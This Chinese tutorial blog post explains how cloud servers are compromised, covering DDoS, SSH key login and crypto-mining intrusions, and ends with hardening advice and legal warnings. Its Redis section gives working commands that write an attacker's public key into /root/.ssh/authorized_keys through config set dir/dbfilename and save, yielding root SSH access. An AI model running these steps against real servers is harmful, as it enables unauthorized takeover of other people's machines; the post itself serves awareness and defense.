你的云服务器为什么会被ru侵,是怎么ru侵的?

本文涉及的产品
Redis 开源版,标准版 2GB
推荐场景:
搭建游戏排行榜
云数据库 Tair(兼容Redis),内存型 2GB
密钥管理服务KMS,1000个密钥,100个凭据,1个月
简介: 你的云服务器为什么会被ru侵,是怎么ru侵的?

上次群里有个小伙伴的阿里云服务器被挖矿了,刚好趁此机会介绍一下简单介绍一下DDOS攻击SSH免密登录流程原理,和后续小伙伴们在安装Redis以及对外网的服务注意事项。

阅读本文之前,请先熟读一下刑法第二百八十五条:

《刑法》第二百八十五条 

【非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。


1. 什么是DDOS攻击


分布式拒绝服务攻击(Distributed Denial of Service,简称DDoS)是指处于不同位置的多个攻击者同时向个或数个目标发动攻击,或者一个攻击者控制了位于不同位置的多台机器并利用这些机器对受害者同时实施攻击。由于攻击的发出点是分布在不同地方的,这类攻击称为分布式拒绝服务攻击,其中的攻击者可以有多个。

攻击类型:


一种为流量攻击,主要是针对网络带宽的攻击,即大量攻击包导致网络带宽被阻塞,合法网络包被虚假的攻击包淹没而无法到达主机;

一种为资源耗尽攻击,主要是针对服务器主机的攻击,即通过大量攻击包导致主机的内存被耗尽或CPU被内核及应用程序占完而造成无法提供网络服务

常见的表现形式:

(1) 被攻击主机上有大量等待的TCP连接。

(2) 网络中充斥着大量的无用的数据包,源地址为假。

(3) 制造高流量无用数据,造成网络拥塞,使受害主机无法正常和外界通讯。

(4) 利用受害主机提供的服务或传输协议上的缺陷,反复高速地发出特定的服务请求,使受害主机无法及时处理所有正常请求。

(5) 严重时会造成系统死机


2. 自己购买的Linux服务器是怎么被挖矿的


背景

近两年很多人购买了云服务器,阿里云、华为云、腾讯云等 出现情况是经常云服务器有不明进程,cpu使用率90%以上 部署云服务器的被清空-支付BTB才可以还原


常见的入侵方式

  1. 弱口令爆破入侵
  2. webshell文件提权入侵
  3. redis端口入侵最多

常见表象

  1. 不明进程的CPU占有率过高
  2. 强制停止,过一会又自动出现

解决办法

  1. 关闭对外监听的端口
  2. 查找linux定时任务->清除位置任务
  3. redis禁止远程访问 或者 设置复杂密码、不用默认的6379端口
  4. 恢复出厂设置

那这个入侵原理是怎样的?

需要知识:对称和非对称加密知识、中间人攻击知识、ssh登录流程知识


3. SSH登录原理


SSH流程解析(使用了RSA非对称加密算法):

(1)远程主机收到用户的登录请求,把自己的公钥发给用户。

(2)用户使用这个公钥,将登录密码加密后,发送回来。

(3)远程主机用自己的私钥,解密登录密码,如果密码正确,就同意用户登录

提示:如果攻击者插在用户与远程主机之间(比如在公共的wifi区域),用伪造的公钥,获取用户的登录密码, 再用这个密码登录远程主机,那么SSH的安全机制就荡然无存了,这种风险就是著名的 "中间人攻击"

第一次登录对方主机,系统会出现下面的提示

“公钥指纹”,是指公钥长度较长(这里采用RSA算法,长达1024位),很难比对,所以对其进行MD5计算,将它变成一个128位的指纹。上例中是98:2e:d7:e0:de:9f:ac:67:28:c2:42:2d:37:16:58:4d用户自己衡量以后决定接受这个远程主机的公钥(远程主机贴出公钥指纹,以便用户自行核对) 接受之后,就可以输入密码,成功后就可以登录, 当远程主机的公钥被接受以后,它就会被保存在文$HOME/.ssh/known_hosts之中。下次再连接这台主机,系统就会认出它的公钥已经保存在本地了,从而跳过警告部分,直接提示输入密码


4. SSH免密登录远程Linux云主机流程解析


使用密码登录,每次都必须输入密码,非常麻烦, SSH还提供了公钥登录,可以省去输入密码的步骤

流程说明

  • 所谓“公钥登录”,原理就是用户将自己的公钥储存在远程主机上。
  • 登录的时候,远程主机会向用户发送一段随机字符串,用户用自己的私钥加密后,再发回来。
  • 远程主机用事先储存的公钥进行解密,如果成功,就证明用户是可信的,直接允许登录shell,不再要求密码
  • 要求用户必须提供自己的公钥。如果没有现成的,可以通过ssh-keygen命令生成一个

最多的应⽤案例:Git 代码仓库管理通信


5. SSH免密登录远程Linux云主机实战


什么是known_hosts文件?

A通过ssh首次连接到B,B会将公钥1(host key)传递给A,A将公钥1存入known_hosts文件中,即SSH会把你每个你访问过计算机的公钥(public key)都记录在~/.ssh/known_hosts,当下次访问相同计算机时,OpenSSH会核对公钥。如果公钥不同,OpenSSH会发出警告,避免受到DNS Hijack之类的攻击。

host文件内容格式:ip 公钥串

当修改这个公钥串后,A通过ssh登陆B时提示  :Host key verification failed

原因:A的known_hosts文件中记录的B的公钥1 与 连接时B传过来的公钥2不匹配

解决办法:


(1):删除A的known_hosts文件中记录的B的公钥

(2):清空本地host主机配置  echo "" > ~/.ssh/known_hosts

(3):修改配置文件,在ssh登陆时不通过known_hosts文件进行验证(安全性有所降低)需重启机器


6. SSH免密登录远程Linux云主机实战


本地生成秘钥串:

  1. 通过ssh-keygen命令生成私钥
  2. 运行结束以后,在$HOME/.ssh/目录下,会新生成两个文件 id_rsa.pubid_rsa, 前者是你的公钥,后者是你的私钥,将公钥传送到远程主机host上面,再登录,就不需要输入密码了

远端服务器:

  1. 远程主机将用户的公钥,保存在登录后的用户主目录的$HOME/.ssh/authorized_keys文件中
  2. 公钥就是一段字符串,只要把它追加在authorized_keys文件的末尾就行了

这些就是入侵的原理。核心:就是把公钥保存到 $HOME/.ssh/authorized_keys目录


7. 阿里云Redis6 入侵实战


两台服务器安装Redis6,然后开启允许远程连接 bind 0.0.0.0,不设置密码,或者简单默认123456,守护进程运行 daemonize yes

指定配置文件启动 ./redis-server ../redis.conf

  1. 使用ssh-keygen生成一对秘钥

  1. 公钥生成攻击键值, 生成后查看生成的文件

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n";) > test.txt

  1. 配置Key到Redis中
./src/redis-cli -h 192.168.xxx.xxx # 连接远端要ru侵的Redis
cat test.txt | redis-cli -h 192.168.xxx.xxx -x set bar  # 查看公钥内容,将内容通过管道命令写到bar这个key中
  1. 登录Redis进行检查,是否已经写入进Redis中
redis-cli -h 192.168.xxx.xxx
get bar
  1. 通过Redis保存机制替换系统文件
./src/redis.cli -h 192.168.xxx.xxx
config set dir /root/.ssh
config get dir
config set dbfilename "authorized_keys"
save
exit
  1. 成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys
  2. 登录远程主机看下效果 ssh -i id_rsa root@192.168.xxx.xxx
  3. 已经可以免密正常登陆192.168.xxx.xxx 服务器了

入侵流程,利用redis的持久化操作文件权限

  • Redis Config Set 命令可以动态地调整 Redis 服务器的配置(configuration)而无须重启。
  • Redis Save 命令执行一个同步保存操作,将当前 Redis 实例的所有数据快照(snapshot)以 RDB 文件的形式保存到硬盘。
  • Redis支持RDB和AOF两种持久化机制
  • RDB持久化是把当前进程数据生成快照保存到硬盘的过程,触发RDB持久化过程分为手动触发和自动触发
  • Redis持久化配置,RDB文件保存在dir配置指定的目录下,文件名通过dbfilename配置指定
  • 通过执行config set dir {newDir}config set dbfilename {newFileName}运行期动态执行
  • 当下次运行时RDB文件会保存到新目录

不过,我们还得再复习一下刑法第二百八十五条

【非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。


8. 如何避免云服务器被ru侵提权


  1. 禁止一些高危命令
  2. 以低权限运行应用服务
  3. 为服务 添加复杂密码验证
  4. 禁止外网访问,配置防火墙
  5. 保证 authorized_keys 文件的安全(只读,防添加新公钥等)
相关实践学习
2分钟自动化部署人生模拟器
本场景将带你借助云效流水线Flow实现人生模拟器小游戏的自动化部署
7天玩转云服务器
云服务器ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,可降低 IT 成本,提升运维效率。本课程手把手带你了解ECS、掌握基本操作、动手实操快照管理、镜像管理等。了解产品详情: https://www.aliyun.com/product/ecs
目录
相关文章
|
6月前
|
缓存 编解码 弹性计算
阿里云服务器e/u1/c7/c7a/c8a/c8y/g7/g7a/g8a/g8ae实例适用场景汇总
目前阿里云活动购买云服务器时,除了轻量应用服务器之外,活动内的云服务器实例规格主要以e/u1/c7/c7a/c8a/c8y/g7/g7a/g8a/g8ae这几种为主,本文主要为大家介绍了阿里云服务器的实例规格是什么,有什么用?并汇总了阿里云轻量应用服务器和阿里云服务器e/u1/c7/c7a/c8a/c8y/g7/g7a/g8a/g8ae实例规格适用场景,以供大家了解和选择适合自己的需求的实例规格。
阿里云服务器e/u1/c7/c7a/c8a/c8y/g7/g7a/g8a/g8ae实例适用场景汇总
|
4月前
|
弹性计算 数据可视化 Linux
云服务器 ECS产品使用问题之执行命令时出现 "command not found" ,该如何解决
云服务器ECS(Elastic Compute Service)是各大云服务商阿里云提供的一种基础云计算服务,它允许用户租用云端计算资源来部署和运行各种应用程序。以下是一个关于如何使用ECS产品的综合指南。
|
弹性计算 网络协议 开发工具
通过ECS云服务器实现FRP内网穿透映射SD线上使用
家里windows本地部署stable diffusion,想在其他地方远程使用,但花生壳之类的工具收费。因此决定使用FRP工具实现内网穿透实现SD线上使用。 前提:有域名或者ECS服务器(本文使用阿里云ECS服务器) tips:FRP是一个可用于内网穿透的高性能的反向代理应用,支持 tcp, udp, http, https 协议。
981 0
|
编解码 固态存储 弹性计算
阿里云2核4G配置云服务器优惠价格表(最新更新)
阿里云服务器2核4G配置多少钱?阿里云2核4G云服务器优惠价格更新了,目前2核4G配置价格最低的是轻量应用服务器,优惠价格只要297.98元1年,平均到每天只要0.81元,而云服务器ECS2核4G配置优惠价格最低的是通用算力型u1实例,优惠价格只要761.33元1年。小编分享2023年截至目前阿里云2核4G配置云服务器的最新优惠价格表∶
277 0
阿里云2核4G配置云服务器优惠价格表(最新更新)
阿里云cn域名注册优惠活动首年8.8元优惠价
阿里云cn域名注册优惠活动首年8.8元优惠价,阿里云域名优惠代金券免费领取,可用于com域名和cn域名注册和续费使用,企业新用户可领取68元com域名代金券,注册com域名是首年1元;个人新用户可领取36元代金券,券后注册com域名33元首年;新用户可领取26.2元cn域名代金券,券后注册cn域名优惠价8.8元一年
|
弹性计算 云计算
阿里云服务器ECS是什么?ECS英文全称?
阿里云ECS英文全程Elastic Compute Service,弹性计算服务的意思,ECS是阿里云服务器的英文名,一台ECS实例就是一台阿里云服务器
854 0
阿里云服务器ECS是什么?ECS英文全称?
|
弹性计算 云计算
阿里云服务器ECS英文全称是什么?ECS实例是什么意思
ECS是指云服务器ECS,ECS是阿里云服务器的英文名,ECS英文全程为Elastic Compute Service即弹性计算服务,ECS是一种安全可靠、弹性可伸缩的云计算服务
589 0
阿里云服务器ECS英文全称是什么?ECS实例是什么意思
|
存储 弹性计算 缓存
阿里云服务器ecs.s6-c1m1.small处理器CPU性能评测
阿里云S6服务器ecs.s6-c1m1.small处理器CPU性能评测
354 0
阿里云服务器ecs.s6-c1m1.small处理器CPU性能评测
|
存储 弹性计算 缓存
阿里云ECS服务器S6/C6/G6/N4/R6/sn2ne/sn1ne/se1ne处理器CPU性能详解
阿里云ECS云服务器S6是ECS共享型s6实例;计算型C6、通用型G6和内存型R6是企业级独享型云服务器;S6、C6、G6和R6它们都属于第六代云服务器,CPU处理器均采用Intel(R) Xeon(R) Platinum 8269CY,2.5 GHz主频,睿频3.2 GHz,计算性能稳定
693 0
阿里云ECS服务器S6/C6/G6/N4/R6/sn2ne/sn1ne/se1ne处理器CPU性能详解
|
弹性计算 Java Linux
ECS使用部署mc服务器
1.使用服务器初衷 2.部署服务器过程中遇到的问题 3.完成及效果
ECS使用部署mc服务器